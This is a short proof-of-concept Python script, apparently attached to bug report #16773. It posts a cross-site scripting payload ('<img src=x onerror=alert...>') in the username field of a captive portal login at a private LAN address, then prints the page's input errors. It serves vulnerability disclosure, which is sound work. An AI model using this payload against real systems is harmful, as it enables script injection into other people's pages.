Bug #16773 » poc-xss-cp-widget.py
| 1 |
#!/usr/bin/env python3
|
|---|---|
| 2 |
import requests |
| 3 |
requests.packages.urllib3.disable_warnings() |
| 4 |
from bs4 import BeautifulSoup |
| 5 |
|
| 6 |
baseurl = 'http://192.168.1.1:8002' |
| 7 |
portal_zone = 'testzone' |
| 8 |
|
| 9 |
target = baseurl + '/index.php' |
| 10 |
|
| 11 |
login_data = { |
| 12 |
'zone' : portal_zone, |
| 13 |
'accept' : 'Login', |
| 14 |
'auth_user' : '<img src=x onerror=alert(\'XSS\')>', |
| 15 |
}
|
| 16 |
|
| 17 |
headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0'} |
| 18 |
|
| 19 |
with requests.Session() as s: |
| 20 |
# Login
|
| 21 |
r = s.post(baseurl, data=login_data, headers=headers) |
| 22 |
|
| 23 |
# Dump input errors from response
|
| 24 |
soup = BeautifulSoup(r.text, 'lxml') |
| 25 |
input_errors = [errors.text for errors in soup.select('div.input-errors ul li')] |
| 26 |
if (input_errors): |
| 27 |
print("Input errors:\n") |
| 28 |
for ie in input_errors: |
| 29 |
print("* " + ie + "\n") |
| 30 |
|
| 31 |
print('Done') |